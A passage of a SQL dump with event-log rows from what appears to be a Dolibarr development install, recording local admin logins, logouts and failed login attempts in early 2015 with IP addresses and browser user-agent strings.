Safari/537.22',NULL,NULL,NULL,NULL),(424,'2015-02-24 17:14:22','USER_LOGOUT',1,'2015-02-24 18:14:22',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(425,'2015-02-24 17:15:07','USER_LOGIN_FAILED',1,'2015-02-24 18:15:07',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(426,'2015-02-24 17:15:20','USER_LOGIN',1,'2015-02-24 18:15:20',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(427,'2015-02-24 17:20:14','USER_LOGIN',1,'2015-02-24 18:20:14',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(428,'2015-02-24 17:20:51','USER_LOGIN',1,'2015-02-24 18:20:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(429,'2015-02-24 17:20:54','USER_LOGOUT',1,'2015-02-24 18:20:54',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(430,'2015-02-24 17:21:19','USER_LOGIN',1,'2015-02-24 18:21:19',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(431,'2015-02-24 17:32:35','USER_LOGIN',1,'2015-02-24 18:32:35',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 - 2131034114',NULL,NULL,NULL,NULL),(432,'2015-02-24 18:28:48','USER_LOGIN',1,'2015-02-24 19:28:48',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(433,'2015-02-24 18:29:27','USER_LOGOUT',1,'2015-02-24 19:29:27',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(434,'2015-02-24 18:29:32','USER_LOGIN',1,'2015-02-24 19:29:32',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(435,'2015-02-24 20:13:13','USER_LOGOUT',1,'2015-02-24 21:13:13',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(436,'2015-02-24 20:13:17','USER_LOGIN',1,'2015-02-24 21:13:17',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(437,'2015-02-25 08:57:16','USER_LOGIN',1,'2015-02-25 09:57:16',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(438,'2015-02-25 08:57:59','USER_LOGOUT',1,'2015-02-25 09:57:59',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(439,'2015-02-25 09:15:02','USER_LOGIN',1,'2015-02-25 10:15:02',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(440,'2015-02-25 09:15:50','USER_LOGOUT',1,'2015-02-25 10:15:50',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(441,'2015-02-25 09:15:57','USER_LOGIN',1,'2015-02-25 10:15:57',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(442,'2015-02-25 09:16:12','USER_LOGOUT',1,'2015-02-25 10:16:12',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(443,'2015-02-25 09:16:19','USER_LOGIN',1,'2015-02-25 10:16:19',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(444,'2015-02-25 09:16:25','USER_LOGOUT',1,'2015-02-25 10:16:25',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(445,'2015-02-25 09:16:39','USER_LOGIN_FAILED',1,'2015-02-25 10:16:39',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(446,'2015-02-25 09:16:42','USER_LOGIN_FAILED',1,'2015-02-25 10:16:42',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(447,'2015-02-25 09:16:54','USER_LOGIN_FAILED',1,'2015-02-25 10:16:54',NULL,'Identificadors d'usuari o contrasenya incorrectes - login=gfdg','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(448,'2015-02-25 09:17:53','USER_LOGIN',1,'2015-02-25 10:17:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(449,'2015-02-25 09:18:37','USER_LOGOUT',1,'2015-02-25 10:18:37',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(450,'2015-02-25 09:18:41','USER_LOGIN',1,'2015-02-25 10:18:41',4,'(UserLogged,aaa)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(451,'2015-02-25 09:18:47','USER_LOGOUT',1,'2015-02-25 10:18:47',4,'(UserLogoff,aaa)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(452,'2015-02-25 10:05:34','USER_LOGIN',1,'2015-02-25 11:05:34',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(453,'2015-02-26 21:51:40','USER_LOGIN',1,'2015-02-26 22:51:40',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(454,'2015-02-26 23:30:06','USER_LOGIN',1,'2015-02-27 00:30:06',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(455,'2015-02-27 14:13:11','USER_LOGIN',1,'2015-02-27 15:13:11',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(456,'2015-02-27 18:12:06','USER_LOGIN_FAILED',1,'2015-02-27 19:12:06',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(457,'2015-02-27 18:12:10','USER_LOGIN',1,'2015-02-27 19:12:10',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(458,'2015-02-27 20:20:08','USER_LOGIN',1,'2015-02-27 21:20:08',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(459,'2015-03-01 22:12:03','USER_LOGIN',1,'2015-03-01 23:12:03',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(460,'2015-03-02 11:45:50','USER_LOGIN',1,'2015-03-02 12:45:50',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(461,'2015-03-02 15:53:51','USER_LOGIN_FAILED',1,'2015-03-02 16:53:51',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(462,'2015-03-02 15:53:53','USER_LOGIN',1,'2015-03-02 16:53:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(463,'2015-03-02 18:32:32','USER_LOGIN',1,'2015-03-02 19:32:32',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(464,'2015-03-02 22:59:36','USER_LOGIN',1,'2015-03-02 23:59:36',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(465,'2015-03-03 16:26:26','USER_LOGIN',1,'2015-03-03 17:26:26',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(466,'2015-03-03 22:50:27','USER_LOGIN',1,'2015-03-03 23:50:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(467,'2015-03-04 08:29:27','USER_LOGIN',1,'2015-03-04 09:29:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(468,'2015-03-04 18:27:28','USER_LOGIN',1,'2015-03-04 19:27:28',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)',NULL,NULL,NULL,NULL),(469,'2015-03-04 19:27:23','USER_LOGIN',1,'2015-03-04 20:27:23',1,'(UserLogged,admin)','192.168.0.254','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',NULL,NULL,NULL,NULL),(470,'2015-03-04 19:35:14','USER_LOGIN',1,'2015-03-04 20:35:14',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(471,'2015-03-04 19:55:49','USER_LOGIN',1,'2015-03-04 20:55:49',1,'(UserLogged,admin)','192.168.0.254','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)',NULL,NULL,NULL,NULL),(472,'2015-03-04 21:16:13','USER_LOGIN',1,'2015-03-04 22:16:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(473,'2015-03-05 10:17:30','USER_LOGIN',1,'2015-03-05 11:17:30',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(474,'2015-03-05 11:02:43','USER_LOGIN',1,'2015-03-05 12:02:43',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(475,'2015-03-05 23:14:39','USER_LOGIN',1,'2015-03-06 00:14:39',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(476,'2015-03-06 08:58:57','USER_LOGIN',1,'2015-03-06 09:58:57',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(477,'2015-03-06 14:29:40','USER_LOGIN',1,'2015-03-06 15:29:40',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(478,'2015-03-06 21:53:02','USER_LOGIN',1,'2015-03-06 22:53:02',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(479,'2015-03-07 21:14:39','USER_LOGIN',1,'2015-03-07 22:14:39',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(480,'2015-03-08 00:06:05','USER_LOGIN',1,'2015-03-08 01:06:05',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(481,'2015-03-08 01:38:13','USER_LOGIN',1,'2015-03-08 02:38:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(482,'2015-03-08 08:59:50','USER_LOGIN',1,'2015-03-08 09:59:50',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(483,'2015-03-09 12:08:51','USER_LOGIN',1,'2015-03-09 13:08:51',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(484,'2015-03-09 15:19:53','USER_LOGIN',1,'2015-03-09 16:19:53',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(495,'2015-03-09 18:06:21','USER_LOGIN',1,'2015-03-09 19:06:21',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(496,'2015-03-09 20:01:24','USER_LOGIN',1,'2015-03-09 21:01:24',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(497,'2015-03-09 23:36:45','USER_LOGIN',1,'2015-03-10 00:36:45',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(498,'2015-03-10 14:37:13','USER_LOGIN',1,'2015-03-10 15:37:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(499,'2015-03-10 17:54:12','USER_LOGIN',1,'2015-03-10 18:54:12',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(500,'2015-03-11 08:57:09','USER_LOGIN',1,'2015-03-11 09:57:09',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(501,'2015-03-11 22:05:13','USER_LOGIN',1,'2015-03-11 23:05:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(502,'2015-03-12 08:34:27','USER_LOGIN',1,'2015-03-12 09:34:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(503,'2015-03-13 09:11:02','USER_LOGIN',1,'2015-03-13 10:11:02',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(504,'2015-03-13 10:02:11','USER_LOGIN',1,'2015-03-13 11:02:11',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(505,'2015-03-13 13:20:58','USER_LOGIN',1,'2015-03-13 14:20:58',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(506,'2015-03-13 16:19:28','USER_LOGIN',1,'2015-03-13 17:19:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(507,'2015-03-13 18:34:30','USER_LOGIN',1,'2015-03-13 19:34:30',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(508,'2015-03-14 08:25:02','USER_LOGIN',1,'2015-03-14 09:25:02',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(509,'2015-03-14 19:15:22','USER_LOGIN',1,'2015-03-14 20:15:22',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(510,'2015-03-14 21:58:53','USER_LOGIN',1,'2015-03-14 22:58:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(511,'2015-03-14 21:58:59','USER_LOGOUT',1,'2015-03-14 22:58:59',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(512,'2015-03-14 21:59:07','USER_LOGIN',1,'2015-03-14 22:59:07',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(513,'2015-03-14 22:58:22','USER_LOGOUT',1,'2015-03-14 23:58:22',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(514,'2015-03-14 23:00:25','USER_LOGIN',1,'2015-03-15 00:00:25',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(515,'2015-03-16 12:14:28','USER_LOGIN',1,'2015-03-16 13:14:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(516,'2015-03-16 16:09:01','USER_LOGIN',1,'2015-03-16 17:09:01',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(517,'2015-03-16 16:57:11','USER_LOGIN',1,'2015-03-16 17:57:11',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(518,'2015-03-16 19:31:31','USER_LOGIN',1,'2015-03-16 20:31:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(519,'2015-03-17 17:44:39','USER_LOGIN',1,'2015-03-17 18:44:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(520,'2015-03-17 20:40:57','USER_LOGIN',1,'2015-03-17 21:40:57',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(521,'2015-03-17 23:14:05','USER_LOGIN',1,'2015-03-18 00:14:05',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(522,'2015-03-17 23:28:47','USER_LOGOUT',1,'2015-03-18 00:28:47',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(523,'2015-03-17 23:28:54','USER_LOGIN',1,'2015-03-18 00:28:54',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(524,'2015-03-18 17:37:30','USER_LOGIN',1,'2015-03-18 18:37:30',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(525,'2015-03-18 18:11:37','USER_LOGIN',1,'2015-03-18 19:11:37',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(526,'2015-03-19 08:35:08','USER_LOGIN',1,'2015-03-19 09:35:08',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(527,'2015-03-19 09:20:23','USER_LOGIN',1,'2015-03-19 10:20:23',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(528,'2015-03-20 13:17:13','USER_LOGIN',1,'2015-03-20 14:17:13',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(529,'2015-03-20 14:44:31','USER_LOGIN',1,'2015-03-20 15:44:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(530,'2015-03-20 18:24:25','USER_LOGIN',1,'2015-03-20 19:24:25',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(531,'2015-03-20 19:15:54','USER_LOGIN',1,'2015-03-20 20:15:54',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(532,'2015-03-21 18:40:47','USER_LOGIN',1,'2015-03-21 19:40:47',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(533,'2015-03-21 21:42:24','USER_LOGIN',1,'2015-03-21 22:42:24',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(534,'2015-03-22 08:39:23','USER_LOGIN',1,'2015-03-22 09:39:23',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 